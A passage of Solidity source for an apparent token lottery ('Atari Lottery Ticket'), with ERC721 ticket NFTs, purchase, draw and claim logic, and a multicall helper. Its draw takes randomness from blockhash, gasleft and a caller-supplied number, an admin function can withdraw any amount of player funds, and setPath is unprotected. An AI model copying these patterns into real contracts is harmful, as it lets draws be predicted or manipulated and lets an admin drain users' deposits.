function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
function baseURI() public view returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LotteryOwnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function initOwner(address owner) internal {
_owner = owner;
emit OwnershipTransferred(address(0), owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LotteryNFT is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping (uint256 => uint8[4]) public lotteryInfo;
mapping (uint256 => uint256) public lotteryAmount;
mapping (uint256 => uint256) public issueIndex;
mapping (uint256 => bool) public claimInfo;
constructor() public ERC721("Atari Lottery Ticket", "ATRITK") {}
function newLotteryItem(address player, uint8[4] memory _lotteryNumbers, uint256 _amount, uint256 _issueIndex)
public onlyOwner
returns (uint256)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(player, newItemId);
lotteryInfo[newItemId] = _lotteryNumbers;
lotteryAmount[newItemId] = _amount;
issueIndex[newItemId] = _issueIndex;
return newItemId;
}
function getLotteryNumbers(uint256 tokenId) external view returns (uint8[4] memory) {
return lotteryInfo[tokenId];
}
function getLotteryAmount(uint256 tokenId) external view returns (uint256) {
return lotteryAmount[tokenId];
}
function getLotteryIssueIndex(uint256 tokenId) external view returns (uint256) {
return issueIndex[tokenId];
}
function claimReward(uint256 tokenId) external onlyOwner {
claimInfo[tokenId] = true;
}
function multiClaimReward(uint256[] memory _tokenIds) external onlyOwner {
for (uint i = 0; i < _tokenIds.length; i++) {
claimInfo[_tokenIds[i]] = true;
}
}
function burn(uint256 tokenId) external onlyOwner {
_burn(tokenId);
}
function getClaimStatus(uint256 tokenId) external view returns (bool) {
return claimInfo[tokenId];
}
}
contract Lottery is LotteryOwnable, Initializable {
using SafeMath for uint256;
using SafeMath for uint8;
using SafeERC20 for IERC20;
uint8 constant keyLengthForEachBuy = 11;
// Allocation for first/sencond/third reward
uint8[3] public allocation;
// The TOKEN to buy lottery
IERC20 public atari;
// The Lottery NFT for tickets
LotteryNFT public lotteryNFT;
// adminAddress
address public adminAddress;
// maxNumber
uint8 public maxNumber;
// minPrice, if decimal is not 18, please reset it
uint256 public minPrice;
//remain balance fro last game
uint256 public remainBalance;
// =================================
// issueId => winningNumbers[numbers]
mapping (uint256 => uint8[4]) public historyNumbers;
// issueId => [tokenId]
mapping (uint256 => uint256[]) public lotteryInfo;
// issueId => [totalAmount, firstMatchAmount, secondMatchingAmount, thirdMatchingAmount]
mapping (uint256 => uint256[]) public historyAmount;
// issueId => nomatch
mapping (uint256 => uint256) public nomatch;
// issueId => trickyNumber => buyAmountSum
mapping (uint256 => mapping(uint64 => uint256)) public userBuyAmountSum;
// address => [tokenId]
mapping (address => uint256[]) public userInfo;
uint256 public issueIndex = 0;
uint256 public totalAddresses = 0;
uint256 public totalAmount = 0;
uint256 public lastTimestamp;
uint256 public nextPharse;
uint256 public nextDraw;
uint256 public DrawDuration;
uint256 public ParseDuration;
uint8[4] public winningNumbers;
// default false
bool public drawingPhase;
// =================================
event Buy(address indexed user, uint256 tokenId);
event Drawing(uint256 indexed issueIndex, uint8[4] winningNumbers);
event Claim(address indexed user, uint256 tokenid, uint256 amount);
event DevWithdraw(address indexed user, uint256 amount);
event Reset(uint256 indexed issueIndex);
event MultiClaim(address indexed user, uint256 amount);
event MultiBuy(address indexed user, uint256 amount);
constructor() public {
}
function initialize(
IERC20 _atari,
LotteryNFT _lottery,
uint256 _minPrice,
uint8 _maxNumber,
address _owner,
address _adminAddress
) public initializer {
atari = _atari;
lotteryNFT = _lottery;
minPrice = _minPrice;
maxNumber = _maxNumber;
adminAddress = _adminAddress;
lastTimestamp = block.timestamp;
allocation = [60, 20, 10];
DrawDuration = 302400;
ParseDuration = 43200;
nextDraw=lastTimestamp.add(DrawDuration);
nextPharse=nextDraw.sub(ParseDuration);
initOwner(_owner);
}
uint8[4] private nullTicket = [0,0,0,0];
modifier onlyAdmin() {
require(msg.sender == adminAddress, "admin: wut?");
_;
}
function drawed() public view returns(bool) {
return winningNumbers[0] != 0;
}
function reset() external onlyAdmin {
require(drawed(), "drawed?");
lastTimestamp = block.timestamp;
totalAddresses = 0;
totalAmount=0;
winningNumbers[0]=0;
winningNumbers[1]=0;
winningNumbers[2]=0;
winningNumbers[3]=0;
drawingPhase = false;
issueIndex = issueIndex +1;
if(remainBalance>0) {
internalBuy(remainBalance, nullTicket);
}
remainBalance = 0;
nextDraw=lastTimestamp.add(DrawDuration);
nextPharse=nextDraw.sub(ParseDuration);
emit Reset(issueIndex);
}
function enterDrawingPhase() external {
require(block.timestamp>=nextPharse||msg.sender==owner(),"not parse time");
require(!drawed(), 'drawed');
drawingPhase = true;
}
// add externalRandomNumber to prevent node validators exploiting
function drawing(uint256 _externalRandomNumber) external {
require(block.timestamp>=nextDraw||msg.sender==owner(),"not draw time");
require(!drawed(), "reset?");
require(drawingPhase, "enter drawing phase first");
bytes32 _structHash;
uint256 _randomNumber;
uint8 _maxNumber = maxNumber;
bytes32 _blockhash = blockhash(block.number-1);
// waste some gas fee here
for (uint i = 0; i < 10; i++) {
getTotalRewards(issueIndex);
}
uint256 gasleft = gasleft();
// 1
_structHash = keccak256(
abi.encode(
_blockhash,
totalAddresses,
gasleft,
_externalRandomNumber
)
);
_randomNumber = uint256(_structHash);
assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}
winningNumbers[0]=uint8(_randomNumber);
// 2
_structHash = keccak256(
abi.encode(
_blockhash,
totalAmount,
gasleft,
_externalRandomNumber
)
);
_randomNumber = uint256(_structHash);
assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}
winningNumbers[1]=uint8(_randomNumber);
// 3
_structHash = keccak256(
abi.encode(
_blockhash,
lastTimestamp,
gasleft,
_externalRandomNumber
)
);
_randomNumber = uint256(_structHash);
assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}
winningNumbers[2]=uint8(_randomNumber);
// 4
_structHash = keccak256(
abi.encode(
_blockhash,
gasleft,
_externalRandomNumber
)
);
_randomNumber = uint256(_structHash);
assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}
winningNumbers[3]=uint8(_randomNumber);
historyNumbers[issueIndex] = winningNumbers;
historyAmount[issueIndex] = calculateMatchingRewardAmount();
//unmatched amount
if(historyAmount[issueIndex][0]==0){
nomatch[issueIndex] = 0;
}
else {
nomatch[issueIndex] =
((historyAmount[issueIndex][0].mul(allocation[0])-historyAmount[issueIndex][1]).div(historyAmount[issueIndex][0])+
(historyAmount[issueIndex][0].mul(allocation[1])-historyAmount[issueIndex][2]).div(historyAmount[issueIndex][0])+
(historyAmount[issueIndex][0].mul(allocation[2])-historyAmount[issueIndex][3]).div(historyAmount[issueIndex][0]));
}
//matched number
remainBalance = getTotalRewards(issueIndex).mul(nomatch[issueIndex]).mul(85).div(10000);
drawingPhase = false;
emit Drawing(issueIndex, winningNumbers);
}
function internalBuy(uint256 _price, uint8[4] memory _numbers) internal {
require (!drawed(), 'drawed, can not buy now');
for (uint i = 0; i < 4; i++) {
require (_numbers[i] <= maxNumber, 'exceed the maximum');
}
uint256 tokenId = lotteryNFT.newLotteryItem(address(this), _numbers, _price, issueIndex);
lotteryInfo[issueIndex].push(tokenId);
totalAmount = totalAmount.add(_price);
lastTimestamp = block.timestamp;
emit Buy(address(this), tokenId);
}
function buy(uint256 _price, uint8[4] memory _numbers) external {
require(!drawed(), 'drawed, can not buy now');
require(!drawingPhase, 'drawing, can not buy now');
require (_price >= minPrice, 'price must above minPrice');
for (uint i = 0; i < 4; i++) {
require (_numbers[i] <= maxNumber, 'exceed number scope');
}
uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers, _price, issueIndex);
lotteryInfo[issueIndex].push(tokenId);
if (userInfo[msg.sender].length == 0) {
totalAddresses = totalAddresses + 1;
}
userInfo[msg.sender].push(tokenId);
totalAmount = totalAmount.add(_price);
lastTimestamp = block.timestamp;
uint64[keyLengthForEachBuy] memory userNumberIndex = generateNumberIndexKey(_numbers);
for (uint i = 0; i < keyLengthForEachBuy; i++) {
userBuyAmountSum[issueIndex][userNumberIndex[i]]=userBuyAmountSum[issueIndex][userNumberIndex[i]].add(_price);
}
atari.safeTransferFrom(address(msg.sender), address(this), _price);
emit Buy(msg.sender, tokenId);
}
function multiBuy(uint256 _price, uint8[4][] memory _numbers) external {
require (!drawed(), 'drawed, can not buy now');
require(!drawingPhase, 'drawing, can not buy now');
require (_price >= minPrice, 'price must above minPrice');
uint256 totalPrice = 0;
for (uint i = 0; i < _numbers.length; i++) {
for (uint j = 0; j < 4; j++) {
require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope');
}
uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex);
lotteryInfo[issueIndex].push(tokenId);
if (userInfo[msg.sender].length == 0) {
totalAddresses = totalAddresses + 1;
}
userInfo[msg.sender].push(tokenId);
totalAmount = totalAmount.add(_price);
lastTimestamp = block.timestamp;
totalPrice = totalPrice.add(_price);
uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]);
for (uint k = 0; k < keyLengthForEachBuy; k++) {
userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price);
}
}
atari.safeTransferFrom(address(msg.sender), address(this), totalPrice);
emit MultiBuy(msg.sender, totalPrice);
}
function claimReward(uint256 _tokenId) external {
require(msg.sender == lotteryNFT.ownerOf(_tokenId), "not from owner");
require (!lotteryNFT.getClaimStatus(_tokenId), "claimed");
uint256 reward = getRewardView(_tokenId);
lotteryNFT.claimReward(_tokenId);
if(reward>0) {
atari.safeTransfer(address(msg.sender), reward);
}
emit Claim(msg.sender, _tokenId, reward);
}
function multiClaim(uint256[] memory _tickets) external {
uint256 totalReward = 0;
for (uint i = 0; i < _tickets.length; i++) {
require (msg.sender == lotteryNFT.ownerOf(_tickets[i]), "not from owner");
require (!lotteryNFT.getClaimStatus(_tickets[i]), "claimed");
uint256 reward = getRewardView(_tickets[i]);
if(reward>0) {
totalReward = reward.add(totalReward);
}
}
lotteryNFT.multiClaimReward(_tickets);
if(totalReward>0) {
atari.safeTransfer(address(msg.sender), totalReward);
}
emit MultiClaim(msg.sender, totalReward);
}
function generateNumberIndexKey(uint8[4] memory number) public pure returns (uint64[keyLengthForEachBuy] memory) {
uint64[4] memory tempNumber;
tempNumber[0]=uint64(number[0]);
tempNumber[1]=uint64(number[1]);
tempNumber[2]=uint64(number[2]);
tempNumber[3]=uint64(number[3]);
uint64[keyLengthForEachBuy] memory result;
result[0] = tempNumber[0]*256*256*256*256*256*256 + 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3];
result[1] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 2*256+ tempNumber[2];
result[2] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 3*256+ tempNumber[3];
result[3] = tempNumber[0]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3];
result[4] = 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3];
result[5] = tempNumber[0]*256*256 + 1*256+ tempNumber[1];
result[6] = tempNumber[0]*256*256 + 2*256+ tempNumber[2];
result[7] = tempNumber[0]*256*256 + 3*256+ tempNumber[3];
result[8] = 1*256*256*256 + tempNumber[1]*256*256 + 2*256 + tempNumber[2];
result[9] = 1*256*256*256 + tempNumber[1]*256*256 + 3*256 + tempNumber[3];
result[10] = 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3];
return result;
}
function calculateMatchingRewardAmount() internal view returns (uint256[4] memory) {
uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(winningNumbers);
uint256 totalAmout1 = userBuyAmountSum[issueIndex][numberIndexKey[0]];
uint256 sumForTotalAmout2 = userBuyAmountSum[issueIndex][numberIndexKey[1]];
sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[2]]);
sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[3]]);
sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[4]]);
uint256 totalAmout2 = sumForTotalAmout2.sub(totalAmout1.mul(4));
uint256 sumForTotalAmout3 = userBuyAmountSum[issueIndex][numberIndexKey[5]];
sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[6]]);
sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[7]]);
sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[8]]);
sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[9]]);
sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[10]]);
uint256 totalAmout3 = sumForTotalAmout3.add(totalAmout1.mul(6)).sub(sumForTotalAmout2.mul(3));
return [totalAmount, totalAmout1, totalAmout2, totalAmout3];
}
function getMatchingRewardAmount(uint256 _issueIndex, uint256 _matchingNumber) public view returns (uint256) {
return historyAmount[_issueIndex][5 - _matchingNumber];
}
function getTotalRewards(uint256 _issueIndex) public view returns(uint256) {
require (_issueIndex <= issueIndex, '_issueIndex <= issueIndex');
if(!drawed() && _issueIndex == issueIndex) {
return totalAmount;
}
return historyAmount[_issueIndex][0];
}
function getRewardView(uint256 _tokenId) public view returns(uint256) {
uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId);
uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId);
uint8[4] memory _winningNumbers = historyNumbers[_issueIndex];
require(_winningNumbers[0] != 0, "not drawed");
uint256 matchingNumber = 0;
for (uint i = 0; i < lotteryNumbers.length; i++) {
if (_winningNumbers[i] == lotteryNumbers[i]) {
matchingNumber= matchingNumber +1;
}
}
uint256 reward = 0;
if (matchingNumber > 1) {
uint256 amount = lotteryNFT.getLotteryAmount(_tokenId);
uint256 poolAmount = getTotalRewards(_issueIndex).mul(allocation[4-matchingNumber]).div(100);
reward = amount.mul(1e12).div(getMatchingRewardAmount(_issueIndex, matchingNumber)).mul(poolAmount);
}
//if nomatch 15% reward
if(nomatch[_issueIndex]>0){
uint256 amount = lotteryNFT.getLotteryAmount(_tokenId).mul(1e12);
reward = reward.add(amount.mul(nomatch[_issueIndex]).mul(15).div(10000));
}
return reward.div(1e12);
}
function getMatchingNumber (uint256 _tokenId) internal view returns(uint256) {
uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId);
uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId);
uint8[4] memory _winningNumbers = historyNumbers[_issueIndex];
require(_winningNumbers[0] != 0, "not drawed");
uint256 matchingNumber = 0;
for (uint i = 0; i < lotteryNumbers.length; i++) {
if (_winningNumbers[i] == lotteryNumbers[i]) {
matchingNumber= matchingNumber +1;
}
}
return matchingNumber;
}
// Update admin address by the previous dev.
function setAdmin(address _adminAddress) public onlyOwner {
adminAddress = _adminAddress;
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function adminWithdraw(uint256 _amount) public onlyAdmin {
atari.safeTransfer(address(msg.sender), _amount);
emit DevWithdraw(msg.sender, _amount);
}
//safe balance withdraw
function adminWithdrawSafe() public onlyAdmin {
uint256 _amount = atari.balanceOf(address(this)).sub(getTotalRewards(issueIndex));
atari.safeTransfer(address(msg.sender),_amount);
emit DevWithdraw(msg.sender, _amount);
}
// Set the minimum price for one ticket
function setMinPrice(uint256 _price) external onlyAdmin {
minPrice = _price;
}
// Set the minimum price for one ticket
function setMaxNumber(uint8 _maxNumber) external onlyAdmin {
maxNumber = _maxNumber;
}
// Set the allocation for one reward
function setAllocation(uint8 _allcation1, uint8 _allcation2, uint8 _allcation3) external onlyAdmin {
allocation = [_allcation1, _allcation2, _allcation3];
}
//function get userInfo
function getUserInfo(address user) external view returns(uint256[] memory _userinfo){
_userinfo = userInfo[user];
}
function getHistoryNumbers(uint256 _issueIndex) external view returns(uint8[4] memory _historyNumbers){
_historyNumbers = historyNumbers[_issueIndex];
}
function getHistoryAmounts(uint256 _issueIndex) external view returns(uint256[4] memory _historyAmount){
_historyAmount[0] = historyAmount[_issueIndex][0];
_historyAmount[1] = historyAmount[_issueIndex][1];
_historyAmount[2] = historyAmount[_issueIndex][2];
_historyAmount[3] = historyAmount[_issueIndex][3];
}
}
contract multicall{
Lottery public lottery;
LotteryNFT public lotteryNFT;
constructor(Lottery _lottery, LotteryNFT _lotteryNFT) public {
lottery = _lottery;
lotteryNFT = _lotteryNFT;
}
function setPath(Lottery _lottery, LotteryNFT _lotteryNFT) external {
lottery = _lottery;
lotteryNFT = _lotteryNFT;
}
function ticketDatas(uint256[] memory _tickets)external view returns(uint256[] memory rewardAmounts,bool[] memory claimStatus,bool[] memory drawStatus,uint8[][] memory ticketNumber){
rewardAmounts= new uint256[](_tickets.length);
claimStatus = new bool[](_tickets.length);
